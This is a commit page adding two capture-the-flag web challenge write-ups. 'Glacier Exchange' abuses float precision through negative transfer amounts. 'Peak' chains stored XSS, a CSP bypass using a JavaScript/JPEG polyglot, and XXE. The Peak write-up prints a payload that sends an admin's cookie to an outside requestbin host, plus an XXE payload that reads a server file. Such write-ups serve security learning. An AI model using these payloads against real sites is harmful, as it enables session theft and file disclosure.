Skip to content

Commit 8966b0a

Browse files
committed
First commit
0 parents  commit 8966b0a

File tree

15 files changed

+162
-0
lines changed

15 files changed

+162
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
# Glacier Exchange
2+
3+
_**Keywords:** Python Float Overflow_
4+
5+
<img src="imgs/intro.png" alt="image" width="30%"/>
6+
7+
Glacier Exchange is a web challenge that highlights a simple yet often overlooked Python vulnerability related to mathematical operations involving float variables.
8+
9+
The challenge presents a web platform for currency exchange, with the initial portfolio situation depicted as follows:
10+
11+
<img src="imgs/home.png" alt="image" width="50%"/>
12+
13+
Upon inspecting the source code, it becomes apparent that to read the flag, one must have a balance of 1000000000 coins in "cashout" and 0 in other categories.
14+
15+
```python
16+
def inGlacierClub(self):
17+
with self.lock:
18+
for balance_name in self.balances:
19+
if balance_name == "cashout":
20+
if self.balances[balance_name] < 1000000000:
21+
return False
22+
else:
23+
if self.balances[balance_name] != 0.0:
24+
return False
25+
return True
26+
```
27+
28+
Simultaneously, there is no validation on the user-entered amount for transactions:
29+
30+
```python
31+
def transaction(self, source, dest, amount):
32+
if source in self.balances and dest in self.balances:
33+
with self.lock:
34+
if self.balances[source] >= amount:
35+
self.balances[source] -= amount
36+
self.balances[dest] += amount
37+
return 1
38+
return 0
39+
```
40+
41+
Thus, transactions can be made with negative amounts without any checks.
42+
43+
Understanding this, the objective becomes generating currency. To achieve this, we can follow these steps:
44+
45+
1. Transfer -1e+30 coins from "cashout" to "glaciercoin";
46+
47+
2. Transfer -1000000000 coins from "doge" to "cashout." This exploits the Python Float Overflow vulnerability, causing subtractions between numbers of vastly different orders to be ignored. The addition, however, proceeds without issues. Essentially, new currency is generated;
48+
49+
3. Transfer 1e+30 coins from "cashout" to "glaciercoin" to nullify the transaction from step 1;
50+
51+
4. Transfer 1000000000 coins from "doge" to "cashout".
52+
53+
After these steps, the desired situation is achieved.
54+
55+
At this point, clicking "Join GlacierClub" yields the flag!
56+
57+
<img src="imgs/flag.png" alt="image" width="50%"/>
209 KB
Loading
395 KB
Loading
93.1 KB
Loading
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
# Peak
2+
3+
_**Keywords:** Stored XSS, XXE, CSP Bypass, Polyglot JavaScript/JPEG_
4+
5+
<img src="imgs/intro.png" alt="image" width="30%"/>
6+
7+
Peak is a web challenge that exhibits two crucial vulnerabilities also found in the [OWASP Top 10](https://owasp.org/www-project-top-ten/):
8+
* Cross-Site Scripting (XSS)
9+
* XML External Entities (XXE)
10+
11+
Upon user registration, an individual can store a message on the platform, which will later be reviewed by the admin.
12+
13+
<img src="imgs/contact-us.png" alt="image" width="50%"/>
14+
15+
However, the content entered into the "Message" field is not filtered, allowing the inclusion of scripts and malicious code.
16+
17+
Attempting to store a message with the following content:
18+
19+
```javascript
20+
<script>alert(1);</script>
21+
```
22+
23+
and inspecting it through the provided link reveals that the code is not executed.
24+
25+
This is due to the presence of the <code>Content-Security-Policy: script-src "self"</code> header in the response, preventing the execution of inline scripts. To bypass this mitigation, we leverage the image upload functionality to load a JPEG file containing JavaScript code (Polyglot JavaScript/JPEG), (***Polyglot JavaScript/JPEG***), as detailed [here](https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs).
26+
27+
Using the hexadecimal editor **GHex**, we create the _'xss.jpg'_ image containing the following JS code:
28+
29+
```javascript
30+
location.href="https://en6dm14fuwglk.x.pipedream.net/"+document.cookie
31+
```
32+
33+
This allows us to retrieve the admin's cookie (https://en6dm14fuwglk.x.pipedream.net/ is an endpoint controlled directly by us, generated with **requestbin**).
34+
35+
Next, we upload a message with the _'xss.jpg'_. image. It is stored on the server with the path _/uploads/&lt;id&gt;_. This step enables us to upload the file with the required code. The last step is to invoke it.
36+
37+
We load a new message, this time inserting the following JS code into the "Message" field:
38+
39+
```javascript
40+
<script charset="ISO-8859-1" src="/uploads/<id>"></script>
41+
```
42+
43+
Done!\
44+
When the admin opens this message, the code embedded in the image is invoked, and their session cookie is sent to our endpoint.
45+
46+
After obtaining the admin's session and accessing their profile, we discover a new "Edit Map" feature utilizing the XML language.
47+
48+
<img src="imgs/admin.png" alt="image" width="50%"/>
49+
50+
Here, we exploit an [XXE vulnerability](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files). By sending the following payload:
51+
52+
```xml
53+
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
54+
<markers>
55+
<marker>
56+
<lat>47.0748663672</lat>
57+
<lon>12.695247219</lon>
58+
<name>&xxe;</name>
59+
</marker>
60+
</markers>
61+
```
62+
63+
we successfully retrieve the sought-after flag!
64+
65+
<img src="imgs/flag.png" alt="image" width="50%"/>
1.24 MB
Loading
245 KB
Loading
338 KB
Loading
81.7 KB
Loading
24.4 KB
Loading

0 commit comments

Comments
 (0)